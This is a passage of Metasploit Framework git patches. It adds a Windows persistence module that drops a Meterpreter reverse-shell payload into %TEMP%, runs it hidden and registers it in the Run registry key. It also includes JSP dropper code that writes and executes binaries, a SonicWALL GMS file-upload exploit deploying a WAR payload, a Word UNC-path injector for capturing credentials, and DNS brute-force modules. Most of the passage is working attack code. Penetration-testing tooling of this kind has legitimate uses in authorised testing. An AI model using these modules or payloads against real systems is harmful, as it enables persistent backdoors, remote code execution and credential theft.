%Q|Runtime.getRuntime().exec("chmod +x #{command}");\n| + jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n| + jspraw << %Q|%>\n| + + jspraw + end + + def jsp_drop_and_execute(bin_data, output_file) + jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file) end end From 19e989dff9b1c3eae565a1dc421219e8236d6fc8 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Thu, 7 Feb 2013 19:11:44 -0400 Subject: [PATCH 149/448] Initial commit fo the migrated module --- modules/exploits/windows/local/persistence.rb | 214 ++++++++++++++++++ 1 file changed, 214 insertions(+) create mode 100644 modules/exploits/windows/local/persistence.rb diff --git a/modules/exploits/windows/local/persistence.rb b/modules/exploits/windows/local/persistence.rb new file mode 100644 index 0000000000..336c8678b6 --- /dev/null +++ b/modules/exploits/windows/local/persistence.rb @@ -0,0 +1,214 @@ +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/post/windows/priv' +require 'msf/core/post/windows/registry' +require 'msf/core/exploit/exe' + +class Metasploit3 < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::Common + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Registry + include Exploit::EXE + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Manage Persistent Payload Installer', + 'Description' => %q{ + This Module will create a boot persistent reverse Meterpreter session by + installing on the target host the payload as a script that will be executed + at user logon or system startup depending on privilege and selected startup + method. + + REXE mode will transfer a binary of your choosing to remote host to be + used as a payload. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Carlos Perez ' + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => [ [ 'Windows', {} ] ], + 'DefaultTarget' => 0, + 'DisclosureDate'=> "Oct 19 2011" + )) + + register_options( + [ + OptInt.new('DELAY', [true, 'Delay in seconds for persistent payload to reconnect.', 5]), + OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]), + OptString.new('REXENAME',[false, 'The name to call payload on remote system.','']), + OptString.new('REG_NAME',[false, 'The name to call registry value for persistence on remote system','']), + ], self.class) + + end + + # Run Method for when run command is issued + #------------------------------------------------------------------------------- + def exploit + print_status("Running module against #{sysinfo['Computer']}") + + rexe = datastore['EXE::Custom'] + rexename = datastore['REXENAME'] + delay = datastore['DELAY'] + reg_val = datastore['REG_NAME'] + template_pe = datastore['EXE::Template'] + @clean_up_rc = "" + host,port = session.session_host, session.session_port + + if rexe.nil? + script = create_script(delay, template_pe) + script_on_target = write_script_to_target(script,rexename) + else + alt_pay_exe = get_custom_exe + script_on_target = write_exe_to_target(alt_pay_exe, rexename) + end + + # Initial execution of script + target_exec(script_on_target) + + case datastore['STARTUP'] + when /USER/i + write_to_reg("HKCU", script_on_target, reg_val) + when /SYSTEM/i + write_to_reg("HKLM", script_on_target, reg_val) + end + + clean_rc = log_file() + file_local_write(clean_rc,@clean_up_rc) + print_status("Cleanup Meterpreter RC File: #{clean_rc}") + + report_note(:host => host, + :type => "host.persistance.cleanup", + :data => { + :local_id => session.sid, + :stype => session.type, + :desc => session.info, + :platform => session.platform, + :via_payload => session.via_payload, + :via_exploit => session.via_exploit, + :created_at => Time.now.utc, + :commands => @clean_up_rc + } + ) + end + + # Function for Creating persistent script + #------------------------------------------------------------------------------- + def create_script(delay, altexe) + if not altexe.nil? + vbs = ::Msf::Util::EXE.to_win32pe_vbs(session.framework, payload.raw, {:persist => true, :delay => delay, :template => altexe}) + else + vbs = ::Msf::Util::EXE.to_win32pe_vbs(session.framework, payload.raw, {:persist => true, :delay => delay}) + end + print_status("Persistent agent script is #{vbs.length} bytes long") + return vbs + end + + # Function for creating log folder and returning log path + #------------------------------------------------------------------------------- + def log_file(log_path = nil) + #Get hostname + host = session.sys.config.sysinfo["Computer"] + + # Create Filename info to be appended to downloaded files + filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") + + # Create a directory for the logs + if log_path + logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) + else + logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) + end + + # Create the log directory + ::FileUtils.mkdir_p(logs) + + #logfile name + logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc" + return logfile + end + + # Function for writing script to target host + #------------------------------------------------------------------------------- + def write_script_to_target(vbs,name) + tempdir = session.fs.file.expand_path("%TEMP%") + if name.nil? + tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs" + else + tempvbs = tempdir + "\\" + name + ".vbs" + end + fd = session.fs.file.new(tempvbs, "wb") + fd.write(vbs) + fd.close + print_good("Persistent Script written to #{tempvbs}") + @clean_up_rc << "rm #{tempvbs}\n" + return tempvbs + end + + # Function to execute script on target and return the PID of the process + #------------------------------------------------------------------------------- + def target_exec(script_on_target) + print_status("Executing script #{script_on_target}") + if datastore['EXE::Custom'].nil? + proc = session.sys.process.execute(script_on_target, nil, {'Hidden' => true}) + else + proc = session.sys.process.execute("cscript \"#{script_on_target}\"", nil, {'Hidden' => true}) + end + + print_good("Agent executed with PID #{proc.pid}") + @clean_up_rc << "kill #{proc.pid}\n" + return proc.pid + end + + # Function to install payload in to the registry HKLM or HKCU + #------------------------------------------------------------------------------- + def write_to_reg(key,script_on_target, registry_value) + if registry_value.nil? + nam = Rex::Text.rand_text_alpha(rand(8)+8) + else + nam = registry_value + end + + print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") + + if(key) + registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",nam,script_on_target,"REG_SZ") + print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") + else + print_error("Error: failed to open the registry key for writing") + end + end + + # Function for writing executable to target host + #------------------------------------------------------------------------------- + def write_exe_to_target(exe_raw, rexename) + if rexename.nil? + exe_name = Rex::Text.rand_text_alpha(rand(8)+8) + else + exe_name = rexename + end + + tempdir = session.fs.file.expand_path("%TEMP%") + tempexe = tempdir + "\\" + exe_name + ".exe" + fd = session.fs.file.new(tempexe, "wb") + fd.write(exe_raw) + fd.close + print_good("Persistent Script written to #{tempexe}") + @clean_up_rc << "rm #{tempexe}\n" + return tempexe + end +end \ No newline at end of file From bf28be7cffaf6e33d6dd2f2f0acc73eac523ce24 Mon Sep 17 00:00:00 2001 From: James Lee Date: Thu, 7 Feb 2013 18:36:04 -0600 Subject: [PATCH 150/448] Fix some comments that yard parsed incorrectly --- lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb index 1a2d5cc478..b66fc1707e 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb @@ -28,7 +28,7 @@ class Webcam names end - # Starts recording video from video source of index #{cam} + # Starts recording video from video source of index +cam+ def webcam_start(cam) request = Packet.create_request('webcam_start') request.add_tlv(TLV_TYPE_WEBCAM_INTERFACE_ID, cam) @@ -48,7 +48,7 @@ class Webcam true end - # Record from default audio source for #{duration} seconds; + # Record from default audio source for +duration+ seconds; # returns a low-quality wav file def record_mic(duration) request = Packet.create_request('webcam_audio_record') From 16a0ab19337e92716e23c86f2a13c521370bf7ab Mon Sep 17 00:00:00 2001 From: James Lee Date: Thu, 7 Feb 2013 18:37:11 -0600 Subject: [PATCH 151/448] Fix comment link and some whitespace --- lib/msf/core/post/file.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/post/file.rb b/lib/msf/core/post/file.rb index db841aa46d..47a0677c1c 100644 --- a/lib/msf/core/post/file.rb +++ b/lib/msf/core/post/file.rb @@ -274,7 +274,7 @@ module Msf::Post::File end # - # Read a local file +local+ and write it as +remote+ on the remote file + # Read a local file +local+ and write it as +remote+ on the remote file # system # def upload_file(remote, local) @@ -304,7 +304,7 @@ module Msf::Post::File # def rename_file(new_file, old_file) #TODO: this is not ideal as the file contents are sent to meterp server and back to the client - write_file(new_file, read_file(old_file)) + write_file(new_file, read_file(old_file)) rm_f(old_file) end alias :move_file :rename_file @@ -315,7 +315,7 @@ protected # Meterpreter-specific file read. Returns contents of remote file # +file_name+ as a String or nil if there was an error # - # You should never call this method directly. Instead, call #read_file + # You should never call this method directly. Instead, call {#read_file} # which will call this if it is appropriate for the given session. # def _read_file_meterpreter(file_name) From c131b7ef0e8953ca67e91f0460e0b3885a0b1b52 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Thu, 7 Feb 2013 21:06:05 -0400 Subject: [PATCH 152/448] Added exception handing and return checking as requested by Sinn3r --- modules/exploits/windows/local/persistence.rb | 92 ++++++++++++++----- 1 file changed, 67 insertions(+), 25 deletions(-) diff --git a/modules/exploits/windows/local/persistence.rb b/modules/exploits/windows/local/persistence.rb index 336c8678b6..942cd8f9df 100644 --- a/modules/exploits/windows/local/persistence.rb +++ b/modules/exploits/windows/local/persistence.rb @@ -50,7 +50,7 @@ class Metasploit3 < Msf::Exploit::Local [ OptInt.new('DELAY', [true, 'Delay in seconds for persistent payload to reconnect.', 5]), OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]), - OptString.new('REXENAME',[false, 'The name to call payload on remote system.','']), + OptString.new('REXENAME',[false, 'The name to call payload on remote system.', nil]), OptString.new('REG_NAME',[false, 'The name to call registry value for persistence on remote system','']), ], self.class) @@ -72,19 +72,38 @@ class Metasploit3 < Msf::Exploit::Local if rexe.nil? script = create_script(delay, template_pe) script_on_target = write_script_to_target(script,rexename) + if script_on_target == nil + # exit the module because we failed to write the file on the target host. + return + end else alt_pay_exe = get_custom_exe script_on_target = write_exe_to_target(alt_pay_exe, rexename) + if script_on_target == nil + # exit the module because we failed to write the file on the target host. + return + end end # Initial execution of script - target_exec(script_on_target) + if target_exec(script_on_target) == nil + # Exit if we where not able to run the payload. + return + end case datastore['STARTUP'] when /USER/i - write_to_reg("HKCU", script_on_target, reg_val) + regwrite = write_to_reg("HKCU", script_on_target, reg_val) + # if we could not write the entry in the registy we exit the module. + if not regwrite + return + end when /SYSTEM/i - write_to_reg("HKLM", script_on_target, reg_val) + regwrite = write_to_reg("HKLM", script_on_target, reg_val) + # if we could not write the entry in the registy we exit the module. + if not regwrite + return + end end clean_rc = log_file() @@ -146,37 +165,49 @@ class Metasploit3 < Msf::Exploit::Local #------------------------------------------------------------------------------- def write_script_to_target(vbs,name) tempdir = session.fs.file.expand_path("%TEMP%") - if name.nil? + if name tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs" else tempvbs = tempdir + "\\" + name + ".vbs" end - fd = session.fs.file.new(tempvbs, "wb") - fd.write(vbs) - fd.close - print_good("Persistent Script written to #{tempvbs}") - @clean_up_rc << "rm #{tempvbs}\n" + begin + fd = session.fs.file.new(tempvbs, "wb") + fd.write(vbs) + fd.close + print_good("Persistent Script written to #{tempvbs}") + @clean_up_rc << "rm #{tempvbs}\n" + rescue + print_error("Could not write the payload on the target hosts.") + # return nil since we could not write the file on the target host. + tempvbs = nil + end return tempvbs end # Function to execute script on target and return the PID of the process #------------------------------------------------------------------------------- def target_exec(script_on_target) + execsuccess = true print_status("Executing script #{script_on_target}") - if datastore['EXE::Custom'].nil? - proc = session.sys.process.execute(script_on_target, nil, {'Hidden' => true}) - else - proc = session.sys.process.execute("cscript \"#{script_on_target}\"", nil, {'Hidden' => true}) + # error handling for process.execute() can throw a RequestError in send_request. + begin + if datastore['EXE::Custom'].nil? + session.shell_command_token(script_on_target) + else + session.shell_command_token("cscript \"#{script_on_target}\"") + end + rescue + print_error("Failed to execute payload on target host.") + execsuccess = nil end - - print_good("Agent executed with PID #{proc.pid}") - @clean_up_rc << "kill #{proc.pid}\n" - return proc.pid + return execsuccess end # Function to install payload in to the registry HKLM or HKCU #------------------------------------------------------------------------------- def write_to_reg(key,script_on_target, registry_value) + # Lets start to assume we had success. + write_success = true if registry_value.nil? nam = Rex::Text.rand_text_alpha(rand(8)+8) else @@ -186,10 +217,16 @@ class Metasploit3 < Msf::Exploit::Local print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") if(key) - registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",nam,script_on_target,"REG_SZ") - print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") + set_return = registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",nam,script_on_target,"REG_SZ") + if set_return + print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") + else + print_error("Failed to make entry in the registry for persistence.") + write_success = false + end else print_error("Error: failed to open the registry key for writing") + write_success = false end end @@ -204,11 +241,16 @@ class Metasploit3 < Msf::Exploit::Local tempdir = session.fs.file.expand_path("%TEMP%") tempexe = tempdir + "\\" + exe_name + ".exe" - fd = session.fs.file.new(tempexe, "wb") - fd.write(exe_raw) - fd.close - print_good("Persistent Script written to #{tempexe}") - @clean_up_rc << "rm #{tempexe}\n" + begin + fd = session.fs.file.new(tempexe, "wb") + fd.write(exe_raw) + fd.close + print_good("Persistent executable written to #{tempexe}") + @clean_up_rc << "rm #{tempexe}\n" + rescue + print_error("Failed to write the payload on the target.") + tempexe = nil + end return tempexe end end \ No newline at end of file From 0ad548a777471ead59e604f07af79d4e5d48dfe8 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 7 Feb 2013 19:16:44 -0600 Subject: [PATCH 153/448] I expect people to know what a share is. --- modules/exploits/windows/smb/smb_relay.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/smb/smb_relay.rb b/modules/exploits/windows/smb/smb_relay.rb index c660581404..bbbcb2c34c 100644 --- a/modules/exploits/windows/smb/smb_relay.rb +++ b/modules/exploits/windows/smb/smb_relay.rb @@ -95,7 +95,7 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ OptAddress.new('SMBHOST', [ false, "The target SMB server (leave empty for originating system)"]), - OptString.new('SHARE', [ true, "The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", 'ADMIN$' ]) + OptString.new('SHARE', [ true, "The share to connect to", 'ADMIN$' ]) ], self.class ) end From 1f9a09d5dde2aba2135e0d86958d2ddb048008be Mon Sep 17 00:00:00 2001 From: James Lee Date: Thu, 7 Feb 2013 21:09:32 -0600 Subject: [PATCH 154/448] Add a method to upload and exec in one step --- .../multi/http/sonicwall_gms_upload.rb | 51 ++++++++++--------- 1 file changed, 27 insertions(+), 24 deletions(-) diff --git a/modules/exploits/multi/http/sonicwall_gms_upload.rb b/modules/exploits/multi/http/sonicwall_gms_upload.rb index 27f928b9bd..4a78d81497 100644 --- a/modules/exploits/multi/http/sonicwall_gms_upload.rb +++ b/modules/exploits/multi/http/sonicwall_gms_upload.rb @@ -5,9 +5,6 @@ # http://metasploit.com/ ## -load 'lib/msf/core/payload/java.rb' -load 'lib/msf/core/encoded_payload.rb' -load 'lib/msf/util/exe.rb' require 'msf/core' class Metasploit3 < Msf::Exploit::Remote @@ -61,7 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Platform' => 'win' } ], - [ 'SonicWALL GMS Viewpoint 6.0 Virtual Appliance (Linux)', + [ 'SonicWALL GMS 6.0 Viewpoint Virtual Appliance (Linux)', { 'Arch' => ARCH_X86, 'Platform' => 'linux' @@ -141,13 +138,25 @@ class Metasploit3 < Msf::Exploit::Remote end end - def check - @peer = "#{rhost}:#{rport}" + def upload_and_run_jsp(filename, contents) + upload_file(path_join(install_path,"webapps","appliance"), filename, contents) + send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path, "appliance", filename), + 'method' => 'GET' + }) + end + def check if install_path.nil? return Exploit::CheckCode::Safe end + if install_path.include?("\\") + print_status("Target looks like Windows") + else + print_status("Target looks like Linux") + end return Exploit::CheckCode::Vulnerable end @@ -171,26 +180,23 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit_java + print_status("#{@peer} - Uploading WAR file") jsp_name = "index" - #app_base = rand_text_alphanumeric(4+rand(32-4)) - app_base = "foo" + app_base = rand_text_alphanumeric(4+rand(32-4)) war = payload.encoded_war({ :app_name => app_base, :jsp_name => jsp_name, }).to_s - File.open("foo.war", "wb") { |fd| fd.write(war) } war_filename = path_join(install_path, "webapps","#{app_base}.war") + register_files_for_cleanup(war_filename) dropper = jsp_drop_bin(war, war_filename) dropper_filename = Rex::Text.rand_text_alpha(8) + ".jsp" - upload_file(path_join(install_path,"webapps","appliance"), dropper_filename, dropper) - send_request_cgi( - { - 'uri' => normalize_uri(target_uri.path, "appliance", dropper_filename), - 'method' => 'GET' - }) + upload_and_run_jsp(dropper_filename, dropper) + + # Now make a request to trigger the newly deployed war send_request_cgi( { 'uri' => normalize_uri(target_uri.path, app_base, Rex::Text.rand_text_alpha(rand(8)+8)), @@ -198,24 +204,20 @@ class Metasploit3 < Msf::Exploit::Remote }) end - def exploit_native - dropper_filename = Rex::Text.rand_text_alpha(8) + ".jsp" + print_status("#{@peer} - Uploading executable file") exe = payload.encoded_exe exe_filename = Rex::Text.rand_text_alpha(8) if target['Platform'] == "win" exe << ".exe" end - dropper = jsp_drop_and_execute(exe, "#{install_path}#{exe_filename}") + register_files_for_cleanup(exe_filename) - upload_file(path_join(install_path,"webapps","appliance"), dropper_filename, dropper) - send_request_cgi( - { - 'uri' => normalize_uri(target_uri.path, "appliance", dropper_filename), - 'method' => 'GET' - }) + dropper = jsp_drop_and_execute(exe, path_join(install_path, exe_filename)) + dropper_filename = Rex::Text.rand_text_alpha(8) + ".jsp" + upload_and_run_jsp(dropper_filename, dropper) end def path_join(*paths) @@ -230,6 +232,7 @@ class Metasploit3 < Msf::Exploit::Remote path end + # This should probably go in a mixin def jsp_drop_bin(bin_data, output_file) jspraw = %Q|<%@ page import="java.io.*" %>\n| jspraw << %Q|<%\n| From e535a3e93fd85052814c882b8bd7659365927b43 Mon Sep 17 00:00:00 2001 From: James Lee Date: Thu, 7 Feb 2013 21:10:27 -0600 Subject: [PATCH 155/448] Guard against running broken method on non-windows This just puts a bandaid around the issue and makes it so FileDropper doesn't completely break java and posix meterpreter sessions. [SeeRM #7721] --- lib/msf/core/exploit/file_dropper.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/file_dropper.rb b/lib/msf/core/exploit/file_dropper.rb index 2a17254de7..6298354b67 100644 --- a/lib/msf/core/exploit/file_dropper.rb +++ b/lib/msf/core/exploit/file_dropper.rb @@ -22,7 +22,9 @@ module Exploit::FileDropper # Meterpreter should do this automatically as part of # fs.file.rm(). Until that has been implemented, remove the # read-only flag with a command. - session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|) + if session.platform =~ /win/ + session.shell_command_token(%Q|attrib.exe -r #{win_file}|) + end session.fs.file.rm(file) print_good("Deleted #{file}") true From 66f0bddb54e500669dfa5111b165e77e817d18b8 Mon Sep 17 00:00:00 2001 From: SphaZ Date: Fri, 8 Feb 2013 12:46:13 +0100 Subject: [PATCH 156/448] fixed error check, a comment, manipulate_file all in memory now --- modules/auxiliary/docx/word_unc_injector.rb | 86 +++++++-------------- 1 file changed, 26 insertions(+), 60 deletions(-) diff --git a/modules/auxiliary/docx/word_unc_injector.rb b/modules/auxiliary/docx/word_unc_injector.rb index c234f3dd8e..3ee9bb93da 100644 --- a/modules/auxiliary/docx/word_unc_injector.rb +++ b/modules/auxiliary/docx/word_unc_injector.rb @@ -81,33 +81,29 @@ class Metasploit3 < Msf::Auxiliary #here we inject an UNC path into an existing file, and store the injected file in FILENAME def manipulate_file - #where do we unpack our source files - tmp_dir = "#{Dir.tmpdir}/unc#{Time.now.to_i}#{rand(1000)}/" ref = "" - - if not File.exists?(datastore['SOURCE']) - print_error("File #{datastore['SOURCE']} does not exist.") - return nil - end if not File.stat(datastore['SOURCE']).readable? print_error("Not enough rights to read the file. Aborting.") return nil end - #lets extract our docx - if unzip_docx(tmp_dir).nil? + #lets extract our docx and store it in memory + zip_data = unzip_docx + + #file to check for reference file we need + file_content = zip_data["word/settings.xml"] + if file_content.nil? + print_error("Bad \"word/settings.xml\" file, check if it is a valid .docx.") return nil end - file_content = File.read("#{tmp_dir}/word/settings.xml") - - #if we can find the reference, we don't need to add it and can just inject our unc file. + #if we can find the reference to our inject file, we don't need to add it and can just inject our unc path. if not file_content.index("w:attachedTemplate r:id=\"rId1\"").nil? vprint_status("Reference to rels file already exists in settings file, we dont need to add it :)") - update_docx_file(tmp_dir,"word/_rels/settings.xml.rels", @rels_file_data) + zip_data["word/_rels/settings.xml.rels"] = @rels_file_data # lets zip the end result - zip_docx(tmp_dir) + zip_docx(zip_data) else #now insert the reference to the file that will enable our malicious entry insert_one = file_content.index(" e print_error("Error extracting #{datastore['SOURCE']} please verify it is a valid .docx document.") return nil end - return 0 + return zip_data end - #used for updating the files inside the docx from a string - def update_docx_file(tmp_dir,file_string, content) - archive = File.join(tmp_dir, file_string) - vprint_status("We need to look for: #{archive}") - if File.exists?(archive) - vprint_status("Deleting original file #{archive}") - File.delete(archive) - end - File.open(archive, 'wb+') { |f| f.write(content) } - end def run #we need this in make_new_file and manipulate_file @@ -206,7 +172,7 @@ class Metasploit3 < Msf::Auxiliary if "#{datastore['SOURCE']}" == "" #make an empty file - print_status("Creating empty document") + print_status("Creating empty document that points to #{datastore['LHOST']}.") make_new_file else #extract the word/settings.xml and edit in the reference we need From 2186db529573bbf05e2bb5ed61cd2fa9e4a385b0 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Fri, 8 Feb 2013 09:48:32 -0400 Subject: [PATCH 157/448] Split of DNS Name Brutforce from enum_dns --- modules/auxiliary/gather/dns_bruteforce.rb | 137 +++++++++++++++++++++ 1 file changed, 137 insertions(+) create mode 100644 modules/auxiliary/gather/dns_bruteforce.rb diff --git a/modules/auxiliary/gather/dns_bruteforce.rb b/modules/auxiliary/gather/dns_bruteforce.rb new file mode 100644 index 0000000000..a6e72080a6 --- /dev/null +++ b/modules/auxiliary/gather/dns_bruteforce.rb @@ -0,0 +1,137 @@ +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require "net/dns/resolver" +require 'rex' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'DNS Host and Subdomain Brutefoce Module', + 'Description' => %q{ + This module uses a dictionary to perform a bruteforce on Hostnames and Subdomains + available under a given domain. + }, + 'Author' => [ 'Carlos Perez ' ], + 'License' => BSD_LICENSE + )) + + register_options( + [ + OptString.new('DOMAIN', [ true, "The target domain name"]), + OptAddress.new('NS', [ false, "Specify the nameserver to use for queries, otherwise use the system DNS" ]), + OptPath.new('WORDLIST', [ false, "Wordlist file for domain name brute force.", + File.join(Msf::Config.install_root, "data", "wordlists", "namelist.txt")]), + + ], self.class) + + register_advanced_options( + [ + OptInt.new('RETRY', [ false, "Number of times to try to resolve a record if no response is received", 2]), + OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry", 2]), + OptInt.new('THREADS', [ false, "Number of threads", 1]), + ], self.class) + end + + def run + print_status("Enumerating #{datastore['DOMAIN']}") + @res = Net::DNS::Resolver.new() + @res.retry = datastore['RETRY'].to_i + @res.retry_interval = datastore['RETRY_INTERVAL'].to_i + wildcard(datastore['DOMAIN']) + switchdns() if not datastore['NS'].nil? + dnsbrt(datastore['DOMAIN']) + end + + #--------------------------------------------------------------------------------- + def wildcard(target) + rendsub = rand(10000).to_s + query = @res.query("#{rendsub}.#{target}", "A") + if query.answer.length != 0 + print_status("This Domain has Wildcards Enabled!!") + query.answer.each do |rr| + print_status("Wildcard IP for #{rendsub}.#{target} is: #{rr.address.to_s}") if rr.class != Net::DNS::RR::CNAME + end + return true + else + return false + end + end + + #--------------------------------------------------------------------------------- + def get_ip(host) + results = [] + query = @res.search(host, "A") + if (query) + query.answer.each do |rr| + if rr.type == "CNAME" + results = results + get_ip(rr.cname) + else + record = {} + record[:host] = host + record[:type] = "AAAA" + record[:address] = rr.address.to_s + results << record + end + end + end + query1 = @res.search(host, "AAAA") + if (query1) + query1.answer.each do |rr| + if rr.type == "CNAME" + results = results + get_ip(rr.cname) + else + record = {} + record[:host] = host + record[:type] = "AAAA" + record[:address] = rr.address.to_s + results << record + end + end + end + return results + end + + #--------------------------------------------------------------------------------- + def switchdns() + print_status("Using DNS Server: #{datastore['NS']}") + @res.nameserver=(datastore['NS']) + @nsinuse = datastore['NS'] + end + + def dnsbrt(domain) + print_status("Performing bruteforce against #{domain}") + queue = [] + File.open(datastore['WORDLIST'], 'rb').each_line do |testd| + queue << testd.strip + end + while(not queue.empty?) + tl = [] + 1.upto(datastore['THREADS']) do + tl << framework.threads.spawn("Module(#{self.refname})-#{domain}", false, queue.shift) do |testf| + Thread.current.kill if not testf + vprint_status("Testing #{testf}.#{domain}") + get_ip("#{testf}.#{domain}").each do |i| + print_good("#{i[:host]} #{i[:address]}") + report_host( + :host => i[:address].to_s, + :name => i[:host].gsub(/\.$/,'') + ) + end + end + end + if(tl.length == 0) + break + end + tl.first.join + tl.delete_if { |t| not t.alive? } + end + end +end From 906585798d0f3ceebab2877d11149581f8db5a78 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Fri, 8 Feb 2013 09:49:19 -0400 Subject: [PATCH 158/448] Split of DNS General Info from enum_dns --- modules/auxiliary/gather/dns_info.rb | 218 +++++++++++++++++++++++++++ 1 file changed, 218 insertions(+) create mode 100644 modules/auxiliary/gather/dns_info.rb diff --git a/modules/auxiliary/gather/dns_info.rb b/modules/auxiliary/gather/dns_info.rb new file mode 100644 index 0000000000..bbf772cf5b --- /dev/null +++ b/modules/auxiliary/gather/dns_info.rb @@ -0,0 +1,218 @@ +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require "net/dns/resolver" +require 'rex' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'DNS Base Information', + 'Description' => %q{ + This module enumerates basic DNS information for a given Domain. Information + enumerated is A, AAAA, NS and MX Records for the given domain. + }, + 'Author' => [ 'Carlos Perez ' ], + 'License' => BSD_LICENSE + )) + + register_options( + [ + OptString.new('DOMAIN', [ true, "The target domain name"]), + OptAddress.new('NS', [ false, "Specify the nameserver to use for queries, otherwise use the system DNS" ]), + + ], self.class) + + register_advanced_options( + [ + OptInt.new('RETRY', [ false, "Number of times to try to resolve a record if no response is received", 2]), + OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry", 2]), + ], self.class) + end + + def run + print_status("Enumerating #{datastore['DOMAIN']}") + @res = Net::DNS::Resolver.new() + @res.retry = datastore['RETRY'].to_i + @res.retry_interval = datastore['RETRY_INTERVAL'].to_i + wildcard(datastore['DOMAIN']) + switchdns() if not datastore['NS'].nil? + + # Get A and AAAA Records for the domain + get_ip(datastore['DOMAIN']).each do |r| + print_good("#{r[:host]} #{r[:address]} #{r[:type]}") + report_host(:host => r[:address]) + end + + # Get Name Servers + get_ns(datastore['DOMAIN']).each do |r| + print_good("#{r[:host]} #{r[:address]} #{r[:type]}") + report_host(:host => r[:address], :name => r[:host]) + report_service( + :host => r[:address], + :name => "dns", + :port => 53, + :proto => "udp" + ) + end + + # Get SOA + get_soa(datastore['DOMAIN']).each do |r| + print_good("#{r[:host]} #{r[:address]} #{r[:type]}") + report_host(:host => r[:address], :name => r[:host]) + end + + #Get MX + get_mx(datastore['DOMAIN']).each do |r| + print_good("#{r[:host]} #{r[:address]} #{r[:type]}") + report_host(:host => r[:address], :name => r[:host]) + report_service( + :host => r[:address], + :name => "smtp", + :port => 25, + :proto => "tcp" + ) + end + + # Get TX + get_txt(datastore['DOMAIN']).each do |r| + print_good("#{r[:host]} #{r[:address]} #{r[:type]}") + report_host(:host => r[:address], :name => r[:host]) + end + end + + #--------------------------------------------------------------------------------- + def wildcard(target) + rendsub = rand(10000).to_s + query = @res.query("#{rendsub}.#{target}", "A") + if query.answer.length != 0 + print_status("This Domain has Wildcards Enabled!!") + query.answer.each do |rr| + print_status("Wildcard IP for #{rendsub}.#{target} is: #{rr.address.to_s}") if rr.class != Net::DNS::RR::CNAME + end + return true + else + return false + end + end + + #--------------------------------------------------------------------------------- + def get_ip(host) + results = [] + query = @res.search(host, "A") + if (query) + query.answer.each do |rr| + record = {} + record[:host] = host + record[:type] = "A" + record[:address] = rr.address.to_s + results << record + end + end + query1 = @res.search(host, "AAAA") + if (query1) + query1.answer.each do |rr| + record = {} + record[:host] = host + record[:type] = "AAAA" + record[:address] = rr.address.to_s + results << record + end + end + return results + end + + #--------------------------------------------------------------------------------- + def get_ns(target) + results = [] + query = @res.query(target, "NS") + 